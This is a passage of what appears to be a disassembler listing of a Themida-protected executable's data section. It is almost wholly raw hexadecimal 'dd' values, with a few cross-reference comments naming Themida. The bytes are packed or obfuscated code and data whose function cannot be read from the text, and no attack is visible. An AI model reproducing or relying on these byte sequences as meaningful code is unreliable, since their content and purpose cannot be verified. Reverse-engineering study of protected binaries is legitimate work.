14C35141h, 15C3848Ch, 6806803Bh, 3585C7A0h, 0F406480Fh dd 6A000072h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0C7B6C351h, 48242585h, 6, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 70799984h, 0CDD7DCDEh, 0CDC0814Eh, 0E94AF28Fh, 0Eh dd 7062AC76h, 0F57C71E1h, 0B8DD3344h, 0B5FF00FEh, 6481855h dd 9E952h, 938B0000h, 56B77ADCh, 5B56D606h, 20BD95FFh dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0BD8BBBC3h, 6481FE5h, 95FF006Ah, 6483061h dd 58EBC08Bh, 98C3D907h, 0FE3FB28h, 518A3CC9h, 0B36F0A03h dd 293DF0ECh, 9ED0FC1Dh, 0BF5E0385h, 72997FA6h, 47C36ED5h dd 0E2C11ED2h, 0F3E0B1C2h, 1D96A7E4h, 0D5191AB3h, 741AB4C3h dd 3FACA97Bh, 83FBE56h, 8F91F7ECh, 0CADC83E4h, 0BCAB1468h dd 0BF1DEA5Fh, 3941B6AFh, 0E4FEB4F7h, 2E8E8D8Dh, 820F064Dh dd 4, 0C106B866h, 0A198D89h, 6A0648h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 85C7ECC3h dd 6480F35h, 6558h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0A9C35040h, 0C5E17C1Dh, 242585C7h, 648h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 2118A4C3h, 0DA220FD6h, 62B866D8h, 55B5FF79h dd 6A064818h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 12DDC356h, 46606776h, 565107D7h dd 474DDE81h, 95FF4F4Dh, 64820BDh, 60D3BF0Fh, 12E8h, 1A320D00h dd 0B05D5282h, 37F9A7DDh, 0E9CADF3Eh, 0E92A3056h, 0Eh dd 0EC11C499h, 0FE7193AEh, 0D080959Fh, 235A61D2h, 48277995h dd 6A6106h, 306195FFh, 0C08B0648h, 0B6B58EBh, 0AA4C6BDBh dd 75403175h, 3E7AAD5Fh, 3DEE69A4h, 48A2FC47h, 0CFD71EB0h dd 0A2CD83E3h, 8087022Fh, 9290B1D2h, 38FFA8DAh, 0F969A9BEh dd 7DDD051h, 0DBB4C2F7h, 38C5E242h, 49F3B3A4h, 44C0B86Fh dd 0A2BEE31Ch, 2CA78A82h, 7AEBC332h, 2358D5CCh, 0AD0A090Fh dd 8D8D9237h, 64D301Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0B0C35646h, 0DC9EC951h, 198D8997h, 6A06480Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 1BAFC357h, 0DCF92AE1h, 3585C7D8h, 6480Fh dd 6A000059h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0E2B2C352h, 0CD927595h, 0C4A1D45Bh dd 0FF88B66h, 280h, 0C7D78B00h, 48242585h, 6, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 35CAE3C8h, 8EEFD8E8h, 0D59D0300h, 0E806481Fh, 13h, 1E7549A9h dd 274B6002h, 587A4F16h, 72A17A3Eh, 0FC9BBCDh, 148Eh, 0FE900h dd 0E22E0000h, 0B38B64F9h, 93BABB48h, 0DE9B58DDh, 0B5FF5895h dd 6482281h, 27CDBD8Bh, 95FF0648h, 64820BDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0CFC35646h, 89E796E1h dd 4814C995h, 0D3B70F06h, 95FF006Ah, 6483061h, 2DEBC08Bh dd 0C1DA45FEh, 0E43D0D86h, 9D691579h, 0D42D738Dh, 6363A5C3h dd 200DBB01h, 20ED1585h, 347EE2A5h, 0C1DC1044h, 0A5291B0h dd 0C3E0A1D8h, 13E851h, 0D8B0000h, 0A2B1B4F0h, 485A5BEBh dd 0BFBACFD8h, 89021162h, 0B58B5FF1h, 6482A21h, 746FC781h dd 0B5890000h, 6482D45h, 8D31C033h, 64824ADh, 0B93834FFh dd 4798044Fh, 5B58B5Bh, 81064825h, 0DCFF22F3h, 11DEBE6Ch dd 0EB814E54h, 657F3669h, 52D950Bh, 0EB810648h, 40FC38ECh dd 40CC46BAh, 71C8955h, 244DB58Bh, 81660648h, 8170A1DEh dd 71E9BDE8h, 0F18B572Eh, 0B9C0815Eh, 812E71E9h, 0FF8C1CF8h dd 0A5850FFFh, 89FFFFFFh, 481DBDBDh, 14E806h, 0C08E0000h dd 6B33AABAh, 0A6737084h, 2E3996ABh, 0D9E99747h, 0F08B460Dh dd 0C4D6815Bh, 8171859Ch, 6FC0C3h, 29B58B00h, 0B9064801h dd 6BBD0h, 0A010F181h, 33FF0006h, 6D8589h, 8B580648h, 4822ADB5h dd 54E88106h, 8156C76Bh, 0CA49FCF0h, 0BE3CBF28h, 0F081140Ah dd 1DAD9439h, 2D29BD89h, 0BF500648h, 6959F58Fh, 8B0F038Fh dd 6, 495BD29h, 0EB830648h, 0EDB53101h, 4B064832h, 840F4B4Bh dd 4, 7E2CBF66h, 0F01E983h, 1685h, 99B50B00h, 0E9064821h dd 26h, 0E266F1A9h, 4CF40401h, 0F6AD8FDh, 0A88h, 48A0F00h dd 66000000h, 0E9811DBAh, 0FFFFFF76h, 0CD6F04B2h, 0BB203C56h dd 7A0310A6h, 0EA9C6735h, 0DA5A0159h, 32040130h, 68C15B13h dd 362555BAh, 36A445B2h, 3240012Fh, 5EE35371h, 0EA36DDCCh dd 7AEE18FEh, 73B988CFh, 9A04493Fh, 0B0850E37h, 58800131h dd 31A85233h, 12200133h, 0BB4BC268h, 0B30C256Fh, 2F002577h dd 71020133h, 22C2C260h, 37884B6h, 0A28C467Eh, 8FA34185h dd 34580CBEh, 1E8C0E33h, 1B040133h, 7A1940BEh, 3042E835h dd 32EA0133h, 3243E962h, 6B000133h, 7E9958F0h, 76890517h dd 32110517h, 63430133h, 541FE6F0h, 0A220DF88h, 54101084h dd 58B0F3B8h, 31F85733h, 12080133h, 0BB5AC26Dh, 0B3062547h dd 26052577h, 74800133h, 1BADC265h, 7A0D14B6h, 7E110E35h dd 3262FF17h, 3207E965h, 6C220133h, 46885FF0h, 76010517h dd 32570517h, 64660133h, 8FC6AEF0h, 0C5896742h, 0DB5CF5CFh dd 3202013Ah, 0A7E2C81Fh, 0E4D9F3DFh, 1E808204h, 0DA750159h dd 32100130h, 6FCB5C13h, 36206DBAh, 362645B2h, 32010126h dd 0A9435476h, 87415160h, 34682F6Ah, 58188A69h, 31E05233h dd 12040133h, 0BB59C268h, 0B305256Fh, 2B842577h, 71400133h dd 0A0E3C260h, 3FA2F1E8h, 372594B8h, 0B962077Bh, 3268FD7Bh dd 3202E961h, 68A00133h, 66C95BF0h, 76A10517h, 320B0517h dd 604A0133h, 7532ABF0h, 6BA7101Ch, 579C8854h, 1B864918h dd 7A5CB8AEh, 0BA16735h, 0B61FFE05h, 320801E9h, 0DA520159h dd 32020130h, 6CC25F13h, 36A475BAh, 366445B2h, 3220012Bh dd 0EAD35775h, 3930E354h, 0F387D9B8h, 62026B3Ah, 320102DBh dd 0F1D82133h, 1604886Bh, 16648037h, 32101937h, 0F1584133h dd 1AE4C107h, 53D88120h, 3DE838B3h, 3280E1B6h, 0EDF70E33h dd 582140B8h, 31F85133h, 12080133h, 0BB5CC26Bh, 0B3062577h dd 28052577h, 72800133h, 0E744C263h, 4CCCC033h, 0B976612Dh dd 0FA0B60EDh, 697AE2B2h, 87215F39h, 34492FCEh, 1B85C0B0h dd 7A64ACAEh, 0A2198035h, 3D9B4278h, 320891B6h, 63046B33h dd 320202DBh dd 0F1582133h, 16CC886Ah, 16048037h, 32201D37h, 0F1414033h dd 0EEA07046h, 19215C4Ah, 3212E88Ah, 46510133h, 93DD9C8Ah dd 238AD6C0h, 23BBE089h, 0BF9D68CAh, 34404A57h, 34A19CBAh dd 8789077Bh, 34490796h, 3280028Bh, 63406B33h, 322002DBh dd 0F1492133h, 1644886Ah, 16408037h, 32021537h, 0F1504033h dd 3290E9A1h, 92B10133h, 5151FF38h, 0ABD4607Ch, 4D17DE0Ah dd 0AF8D332Bh, 344A269Eh, 0B9E0FE6Dh, 7AA3C8AEh, 0BE4F6035h dd 32200130h, 8CE8BE3Ch, 4A1CCFBEh, 3AFBCBEh, 0BF8F077Eh dd 344C35A6h, 0A003758Bh, 1BC53232h, 19264916h, 0BB20C0FCh dd 7A0310A6h, 0EA9C6735h, 0DA5A0159h, 32040130h, 68C15B13h dd 362555BAh, 0F305E983h, 6AC08BA4h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 3543C352h dd 8D0FE0F7h, 5, 8DEA8166h, 57006A03h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 5C69F25Ch dd 0C3CB8166h, 9B58BCCh, 8B06482Bh, 0AE8C3h, 9D200000h dd 42D8E53Eh, 5E2060B1h, 8159ACB6h, 71A3C1h, 0D68B6600h dd 1C4BBBh, 6D858B00h, 0FF064822h, 0B99D8931h, 5F06481Ch dd 81D2B70Fh, 0DD21E7EFh, 20F78138h, 0BA3D82AEh, 5B80D292h dd 46DFC781h, 12E96757h, 13000000h, 0F7C896E8h, 97DF81FDh dd 0BE1684F1h, 0D24F7EFFh, 81398956h, 50AC57E9h, 0D08B666Fh dd 0AC53C181h, 9AB26F50h, 0AC850F4Bh, 81FFFFFFh, 496E75C2h dd 712ADE52h, 4B46D4D4h, 557F01DCh, 525CD4C8h, 0B336398h dd 2633A9A9h, 265AF198h, 15EEF5Eh, 4E6033D0h, 0A5E4FFB4h dd 7A6F867h, 0A3BEA0D0h, 2078D086h, 0A3BA7967h, 207BF9FDh dd 2D2AD71Bh, 293333D0h, 2633831Dh, 0BCB6C098h, 7635EBADh dd 13BFD615h, 0D963AFD5h, 6E1EB10Dh, 2664839Eh, 23593598h dd 13AF1F15h, 0AB634BD5h, 6B062A1Dh, 0B3CC039Eh, 207BB7C1h dd 0A23C1493h, 26336AA1h, 13AFB015h, 0CE639CD5h, 26334DAAh dd 0A3BEF6D8h, 207E663Ah, 0BAB624C8h, 763599ADh, 22E2FF67h dd 0E2B033D0h, 0BAB61794h, 763500ADh, 13BF2315h, 0D96355D5h dd 6E1ECC0Dh, 26513D9Eh, 0AD666A98h, 74646474h, 2E4E11CEh dd 24DA8DABh, 6633A698h, 260CD3DFh, 0D9C62C97h, 0EF002B67h dd 0CF3B1713h, 263335B2h, 31B948ABh, 0AD03A718h, 0AD63E868h dd 2C88005Ah, 0CF33A998h, 2633D49Bh, 0A57D896Fh, 0A13C3566h dd 0D9CC656Ch, 7EFB4EC3h, 0E638EEDFh, 0D9FDD697h, 0E7B85667h dd 7F6C8EC6h, 2637A851h, 13B98815h, 0ABBE9CD5h, 207E7B27h dd 9320h, 0E7FC7800h db 71h, 2 word_59042E dw 731h ; DATA XREF: Themida_:0053DA8Co dd 0C783C8D0h, 850F4904h, 0FFFFFFF2h, 36BFB58Dh, 8D8D064Dh dd 64D36DEh, 0E983CF2Bh, 40C88B05h, 0F862199Dh, 83419F4h dd 5AF747D7h, 6106D7Eh, 5105D76h, 803419EFh, 62F74FB1h dd 8BC72CA0h, 0D0BF7742h, 834131Fh, 30D8CEF7h, 424997F5h dd 8A703536h, 3DB7422Fh, 467C391Eh, 0A33D6CF7h, 5818784Ah dd 114019F1h, 0C4BF4AA7h, 2301A4Fh, 0A0B190F7h, 0D3251DFh dd 0A84356Ah, 7BE7E6F1h, 71899AAFh, 83251DBh, 57640E83h dd 2301A4Fh, 0A0B190F7h, 0D3251DFh, 0A99026Ah, 7BE7E6F1h dd 463473AFh, 8341A1Fh, 0C76A39F7h, 264090A9h, 257098F3h dd 803400F3h, 83625FF7h, 9E8778B3h, 888BBA05h, 83323DBFh dd 55347337h, 2341A1Fh, 0C26D39F7h, 0A47890AEh, 647098F3h dd 203405F3h, 0D36558F7h, 290CA180h, 0BC436D81h, 4B516CFh dd 303419F7h, 0C81D9C72h, 98B87FF1h, 2D29ACFEh, 149C1FBFh dd 0BB79DF8h, 45E19F7h, 237F1A5h, 5B1419F7h, 0D4BD4334h dd 4B51DD3h, 202F1DD3h, 427619F7h, 0CFE4E234h, 9C4E9670h dd 8F899AAEh, 13251FAh, 801B9DF8h, 405E19F7h, 2037F1A4h dd 4B1419F7h, 54BD4234h, 40B51DD3h, 2281DD3h, 527719F7h dd 0B9D53134h, 0F0B69920h, 0ADDA39Fh, 3B3419F4h, 402E9862h dd 2334A7F1h, 0DDD1BF7h, 0C13419F7h, 94CA7DD1h, 7A860E26h dd 74E48B21h, 95B913FDh, 0E7F6D27h, 4359DF8h, 0FDC819F7h dd 54347327h, 80341A1Fh, 836939F7h, 45890AAh, 347098F3h dd 8340FF3h, 0C7615CF7h, 892AFF70h, 0EF49C21h, 8034AC73h dd 61B190F7h, 0A13251D8h, 91524ECFh, 1FB1160Ch, 623419F7h dd 0CC76C376h, 54C9891h, 43B1BF5h, 40341B2Bh, 3875847Ch dd 91521FBFh, 75485CFh, 4349872h, 82FC92F7h, 0EDC1B8Fh dd 80346C72h, 918B16F7h, 264C9891h, 953BB2F7h, 8341991h dd 434161Fh, 635D78F7h, 58FBD4A9h, 0EADD0F3Eh, 577C365Fh dd 0AE2B7E4Ch, 81DD46B3h, 623419F5h, 7DC4EF7h, 223419F7h dd 886BDAA8h, 1303D8Bh, 5D303DB3h, 673419F7h, 0A5D1DAA0h dd 8D56F23Ch, 0DCAB1228h, 234091Fh, 378293F7h, 0F9FCC14Ch dd 46BCF06h, 91E91BAAh, 4DA1929Eh, 513251F3h, 2865A4FCh dd 28A1FBFh, 0E7218F6h, 8034087Dh, 4038F0F7h, 0BCB019F7h dd 0CC687EA5h, 0A0CA899Ah, 81B9AD94h, 47F6D27h, 0E966199Dh dd 803419F4h, 1AF743D7h, 24104D7Eh, 14105D76h, 83419EBh dd 80F74BB5h, 85B4DBFCh, 159DCA19h, 7FE39291h, 61B93A27h dd 0A53251DCh, 0D6B01637h, 623419F6h, 7DC49F7h, 223419F7h dd 886CDAAFh, 1303DB3h, 55303DB3h, 603419F7h, 0FCF9DAA7h dd 12119CDEh, 3CB51FBFh, 362491h, 1149CF8h, 15219F7h, 0C10A052Dh dd 1D521F8Fh, 943B63A8h, 8341847h, 2B716A1h, 2B3419F7h dd 4939C06Ah, 15243F1h, 4F5485CFh, 20343372h, 0F9B190F7h dd 883251F8h, 0BDC1B8Fh, 2340372h, 60B928F7h, 0E63251E9h dd 40326176h, 28B11637h, 1F3419F7h, 65DDD140h, 0BA3419F6h dd 7C3518F7h, 0E967199Dh, 803419F4h, 1BF742D7h, 2410457Eh dd 14105D76h, 83419E3h, 4F74AB4h, 29E3A391h, 75E49C7Ah dd 805E1FBCh, 4037F1A0h, 7F1419F7h, 6CBD4634h, 4CB51DD3h dd 42E1DD3h, 557319F7h, 0E3C19334h, 0B6479919h, 90CBF67Dh dd 0B79847Eh, 0D0B11FBFh, 8D79DF8h, 45E19F7h, 237F1A4h dd 5A1419F7h, 0DCBD4234h, 4B51DD3h, 20281DD3h, 437719F7h dd 0EBB4E734h, 0AE901875h, 0CDBF8F0Ah, 0EDC2177h, 80347C72h dd 173473F7h, 20341A1Fh, 0D36B39F7h, 2C4890A8h, 207098F3h dd 2340EF3h, 0C2635EF7h, 323F0DFFh, 7201947Eh, 58B41FBFh dd 953B6AF2h, 83419C1h, 0EC67199Dh, 23419F4h, 5AF742D7h dd 8410457Eh, 44105D76h, 203419EAh, 77F74AB4h, 1D5FBBC6h dd 0B81F8B44h, 0CABF4B28h, 64C99ACh, 0FDB016A4h, 4F3419F7h dd 0A152E240h, 1F3196CFh, 8345D72h, 75B128F7h, 823251F7h dd 0E5C1F8Fh, 80342D72h, 38B57FF7h, 2F11E6FCh, 10343172h dd 0E2B57FF7h, 91BD952Bh, 47C31FAh, 1345A1Eh, 8027F0F7h dd 0BB2919F7h, 0DD250E71h, 0B40B537Ch, 7E238EFh, 0D5ECC3D5h dd 68F432A4h, 2DC49F7h, 0A03419F7h, 0C96CDAAFh, 0A1303DB3h dd 6303DB3h, 483419F7h, 6F5EDAA7h, 225F0EAh, 8C0719F7h dd 867C31E2h, 4034184Fh, 0D5A930F7h, 403251D4h, 0CBDC77Ch dd 98118D3h, 8F3251E3h, 4C02F94Ah, 2CB994F1h, 0F83254CCh dd 57524CD4h, 10399CF4h, 0C71F1FBFh, 0BA36F036h, 7C3518F7h dd 0E967199Dh, 803419F4h, 1BF742D7h, 2410457Eh, 83105D76h dd 0A4F305E9h, 8166F558h, 6A3D5CF7h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 7E78C353h dd 0CF8663F2h, 0F5958B18h, 0B606480Ch, 0FC00BF9h, 6684h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0B58D56CDh, 6484B64h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 2C35141h, 0AA5AED17h, 60AA65D3h dd 61F8F960h, 3D7FBA66h, 0DD9D8961h, 0B8064830h, 3, 0FFCBB70Fh dd 5DB529E6h, 4006481Ah, 0FABE6660h, 0A5BD8985h, 6106481Fh dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0C0711DC3h, 8D8BB4B6h, 6481DA1h, 20E9BD83h dd 75000648h, 61BD8309h, 6482Ch, 53501974h, 3B8C08Bh, 89000004h dd 48002185h, 939D8D06h, 0FF064AB0h, 83585BD3h, 482C61BDh dd 17740006h, 3B85350h, 89000004h, 48002185h, 349D8D06h dd 0FF064AADh, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 5AB3C356h, 1166EE30h dd 6E9h, 49A49E00h, 3366E9BAh, 48063DBDh, 0CFBF0F06h, 6AC08Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0B6645EC3h, 0D0B2E598h, 0EC8A51B4h, 0D98D8D61h, 6A064D3Dh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 46A6C356h, 6AD5164Dh, 89E5B00Ch, 480A198Dh dd 0CF81F806h, 54239B82h, 0F3585C7h, 5BC00648h, 85890000h dd 6481B61h, 13F9B58Bh, 85C70648h, 6482425h, 0 dd 0FD9FBF66h, 228DB5FFh, 6A0648h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 16EBCFC3h, 0BD95FF2Bh dd 89064820h, 4826E98Dh, 0FF006A06h, 48306195h, 0EBC08B06h dd 0AF66541Ah, 61BC75B7h, 8A1EADBBh, 8AD3014Bh, 346D98EEh dd 0B7243DCDh, 8D82D050h, 482A0D9Dh, 39B806h, 85890000h dd 64800C1h, 0E8h, 0D055800h, 89000000h, 39E903h db 2 dup(0) word_590B8A dw 0 ; DATA XREF: Themida_:0053F77Co dd 0Dh dup(77E6h), 0E8FF77E6h, 0Bh, 8DD4974Ch, 74D38B44h dd 819B51F2h, 0ED7A48E8h, 0B70F5914h, 0EC181F2h, 8A000059h dd 8BD233E2h, 69B7113Ch, 8004EF81h, 81F551C9h, 5E92CEFh dd 11E9560Dh, 80000000h, 1704291h, 0D122648Ah, 45531115h dd 0FF13EADDh, 0F9C78158h, 895A5CC4h, 8BF9113Ch, 2EA83C1h dd 5EC4B450h, 0FA814A4Ah, 0FFFFA75Ch, 0FFB5850Fh, 0B866FFFFh dd 0B0E99207h, 60000000h, 0F6DA8C66h, 850F04C2h, 0Ch, 2C21853Bh dd 840F0648h, 36h, 205D853Bh, 840F0648h, 2Ah, 2C2D853Bh dd 840F0648h, 1Eh, 1D29853Bh, 840F0648h, 12h, 0E1DBD83h dd 0F010648h, 584h, 5FE900h, 0D08B0000h, 8B3C5203h, 88BAh dd 784A8B00h, 840FC985h, 49h, 0F8C281h, 728B0000h, 8BC8030Ch dd 518B1C59h, 8BD80314h, 0FC9850Bh, 1084h, 0FCE3B00h, 1782h dd 0FCF3B00h, 0F83h, 4C38300h, 0DC850F4Ah, 0E9FFFFFFh dd 0Dh, 4B649D8Dh, 5B80648h, 0FF000000h, 0BC361E3h, 618D8DD0h dd 6A064D40h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0BA51C353h, 66B06021h, 1431BD8Bh dd 8D890648h, 6480A19h, 1C05B589h, 85C70648h, 6480F35h dd 5F0Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 4FC35141h, 6FB759D5h, 38B86666h, 2585C79Bh, 64824h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0FC0DC350h, 9D092CA0h, 6482CE5h dd 1BEDB5FFh, 89600648h, 48197995h, 0EDB50906h, 61064819h dd 20BD95FFh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 58C8E1C3h, 3AD5E69Ch, 8995D43Fh dd 4805B985h, 0FF006A06h, 48306195h, 0EBC08B06h, 0E358951Fh dd 0B096C05Ah, 0B150DE9Ch, 0CD887D86h, 5ACC3149h, 59251B33h dd 0FCBC5AE7h, 0F86B0741h, 418F8D8Dh, 6A064Dh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 4E134BC3h, 860FEA45h, 0Ch, 7E9h, 2034BA00h, 917644A2h dd 12E96060h, 0A5000000h, 0AD6D734Dh, 8BA8D650h, 80596457h dd 0BFDD38F4h, 783ABA6Fh, 1615D1Fh, 4829B1B5h, 8D896106h dd 6480A19h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0DC35545h, 0BF0FFCCDh, 3585C7D0h, 6C06480Fh, 0E9000066h dd 7, 0B40CEEB6h, 0C707453Dh, 48242585h, 6, 8B536000h dd 48229D85h, 0CE95806h, 49000000h, 414CB8EBh, 2E607F77h dd 617D2C48h, 0BE65E0B8h, 0C9B5FF59h, 89064828h, 482F79BDh dd 2D9D8906h, 0FF064801h, 4820BD95h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0CA10221Dh dd 7C48DE44h, 6ABFC680h, 6195FF00h, 8B064830h, 0D05FEBC0h dd 0E86BD79Ah, 354A59BEh, 0CCED0968h, 0C76190B6h, 0FA43F29Eh dd 0A77E27A3h, 3302E300h, 5DE50543h, 0EFBD7C79h, 8609E39Dh dd 0FCB87B85h, 85AC6FBDh, 26FF339h, 2D1BBB47h, 60904F8Ch dd 18F69FC9h, 8BB39CF3h, 0AEC082F0h, 60B7341Fh, 64196BF6h dd 31A8ECABh, 0BE54741Dh, 8B59B12Dh, 6CEB8B16h, 726F6853h dd 74756374h, 206F7420h, 72617473h, 707574h, 14h dup(0) dd 6EE71EDEh, 1, 0EC8E9h, 43FA6800h, 0C5E9064Dh, 68FFFC04h dd 64D44E1h, 0FC04BBE9h, 468468FFh, 0B1E9064Dh, 68FFFC04h dd 64D46C3h, 0FC04A7E9h, 477E68FFh, 9DE9064Dh, 68FFFC04h dd 64D4823h, 0FC0493E9h, 4C2868FFh, 89E9064Dh, 68FFFC04h dd 64D4E84h, 0FC047FE9h, 4F5B68FFh, 75E9064Dh, 62FFFC04h dd 0D14F1079h, 60E0A3EEh, 0CE4A157Ch, 54E49FEAh, 2A3C078Ah dd 0B4DD010Eh, 3C4D6D6Bh, 0A5E4F503h, 127F5EDAh, 0A46FD051h dd 9AB9758Ch, 2277C754h, 0AA32D6BBh, 1B8D7E13h, 27F2BFC4h dd 5081024Ch, 0F57EF70Dh, 0A106079Bh, 13255863h, 0F13CC8C9h dd 353C2005h, 0A2915ACDh, 2CAFBDAAh, 56560321h, 95A74E29h dd 563386F2h, 6F8B6FB2h, 0C23224A7h, 2F2E9BA7h, 0F0000000h dd 5CCF373Eh, 0BE541C8Fh, 8D9BA6AFh, 4F429C0Ch, 0E3CEDEEBh dd 7F0DA74Eh, 0E1AA0D77h, 0A74EE3CFh, 6CC23497h, 9BA880EAh dd 0D2E6h, 0BB22C800h, 0B7BDD3A0h, 3A85A106h, 4599E107h dd 8D30B84Ch, 0B7EB45CEh, 88B3A106h, 16A652D5h, 0DDEBA636h dd 36798FD2h, 6B7918A6h, 95D6F660h, 6DCF191Ah, 6EC8BF0Ch dd 0B5365B82h, 55878952h, 0EC4FA106h, 7622250Ah, 4CD2968h dd 0A1065CB9h, 4C177A43h, 84A0F1CCh, 56641910h, 6EFDEE33h dd 0AFBDF5FDh, 19FB4487h, 0AA39B212h, 0B601938Eh, 9F00EB56h dd 55C1C8F1h, 235C3589h, 0B8F88324h, 80AD9933h, 0B10DD93Dh dd 45CBA9E0h, 38ECFC54h, 0C6C95h, 0F6932800h, 7D14AB2Dh dd 0EBA636C2h, 7910A838h, 0EDA43AC6h, 0E7281432h, 7789BAD7h dd 0DB5D2663h, 48D88BFEh, 0D6631C75h, 748A8655h, 0CD529AB9h dd 0D5BC2271h, 7B16A652h, 338A969Fh, 3179255Eh, 0C2345D7Fh dd 32863B32h, 52210A57h, 0AFBE54D9h, 1FCC5863h, 0A74EE50Dh dd 8F5CBB4Ch, 0A74EE481h, 0E3F60649h, 0AE38B4A6h, 0A8823F1Dh dd 5C812F9Bh, 0AA8C8F35h, 0B959h, 7F311500h, 8A95335Eh dd 0AF9D40B0h, 0EB9E3B09h, 0D28FD2DDh, 7712A759h, 0E8EC4E51h dd 0B5533EA0h, 6BF1508h, 0E939AEA1h, 0C2CFEE8Eh, 7A581B26h dd 4A9680EEh, 0D3651E73h, 3561870Ah, 0B645C63Eh, 0AFBF1F55h dd 0B1A3DCDFh, 12E14ABAh, 0B602CC57h, 0F29F40F0h, 7E69D408h dd 3AA0AC12h, 0AB76B94Fh, 3B566878h, 531F2A12h, 38A349FCh dd 0B85h, 34EF9A41h, 0AD761BA4h, 3F00912Bh, 0B17217C1h dd 41028F2Fh, 0E0FE0B2Dh, 48726EB1h, 0D702FE41h, 4E6F71B2h dd 7E010043h, 0B9739BF5h, 2836639Ah, 325F7F31h, 0CBC618C8h dd 5C358898h, 0A99B3DEBh, 616C7811h, 51C5081Ch, 0BB22B2CCh dd 13AA32D6h, 0D84FC57Eh, 6F74FFE8h, 0F9AFBEB5h, 7F8D32D6h dd 0BEA74EC2h, 0CE1B0E49h, 0ED03A3A7h, 27BDD4EBh, 2CBA3224h dd 0A91EBD9Fh, 7B99Bh, 7750000h, 819h, 0CF373EDBh, 0B1B88F5Ch dd 0FA82AFBEh, 1417ADE4h, 922BBB49h, 29B444FFh, 833AD75Ah dd 4F99B8F8h, 0F23D80A7h, 265B5599h, 7AB55D02h, 806C150Ah dd 6EDEFF76h, 99A44051h, 0BAC9BE4h, 92F93080h, 61D5F80Eh dd 9B296875h, 92F8DD2Eh, 0DC4CA90Eh, 4FAB8F02h, 820FAEC7h dd 0F7E24EC1h, 0CF2B7692h, 35D3BE1Fh, 92F87F88h, 20714D0Eh dd 266B7404h, 0F2FC7802h, 11DD57C8h, 7385964h, 40ECCF08h dd 1AEB7F6h, 9DF4C915h, 0AC141B87h, 922CDC3Bh, 317F0CFFh dd 0F90E9376h, 405764D6h, 0A1D4B79h, 548B7CC7h, 0E6F8DCFCh dd 0FD63AC9Bh, 0D8DFD9F6h, 0CF843125h, 0B10BB0B7h, 26B444E0h dd 0C77AC563h, 0C1CA056Ch, 0BC81984Bh, 0ADD7C04Bh, 53B42392h dd 233B8888h, 17A8501Bh, 1E636E7Ah, 0A2A5A83Ch, 5865E7F6h dd 0DDA0AB39h, 136EFB79h, 0F902141Fh, 0CA999272h, 7EBC035h dd 0FC28BCFFh, 0D19A8D75h, 0E2EC315h, 0FBAD9EA1h, 7374AFE2h dd 64D6B305h, 1286974h, 0A425B847h, 0E2319C50h, 9E000009h dd 5134C3Dh, 8C8CD7BAh, 221E6130h, 9090D3B6h, 8E20632Eh dd 9001DD2Ah, 206951CFh, 91F8E15Fh, 266B52CEh, 905BDC5Dh dd 9AB97180h, 227BE348h, 0FB97D6BBh, 8008E6C1h, 9A381ECh dd 7C5F0000h, 0F9C6520Dh, 8359E798h, 0F5C3550Eh, 714DCB94h dd 0ED4F5F20h, 94CFC21Ch, 10533684h, 9FE0A910h, 0A553CA1h dd 0D1DFAC0Fh, 999AB971h, 0BB222A14h, 0F8DA55D6h, 7906CCE5h dd 0A2EAEA4Ch, 0ED0A553Ch, 6F57DEA6h, 9608EF7Ch, 42E5AFBDh dd 241A16E5h, 0DFE2A74Eh, 4E23F040h, 6950B8A7h, 0E9F95D20h dd 0D817E4E6h, 0C26992CDh, 7AB6454Bh, 42690B7Dh, 66C942FFh dd 88ABEF1h, 7F3DD681h, 717AD5BDh, 1D963CEh, 0C5317C88h dd 0C27023FCh, 46E2ED77h, 806B5BD2h, 572F3F3h, 66F5927Eh dd 759E712Ah, 776BCFF2h, 9825D354h, 23BA46F9h, 91DBF6Eh dd 0CE5E344Fh, 8E823h, 7217A400h, 1902FB1h, 771AC23Eh dd 0FD8C2CACh, 6928B642h, 63A498B6h, 0EBED365Bh, 7789BACFh dd 0DC5C2762h, 52CF9001h, 710E22F1h, 49D69AB9h, 0A0BB22F5h dd 6B7BDD3h, 5A2F89A1h, 4A7583CEh, 59641417h, 0B8377902h dd 0BCFFA106h, 0B4359581h, 21157444h, 642F24B5h, 0A106B84Ch dd 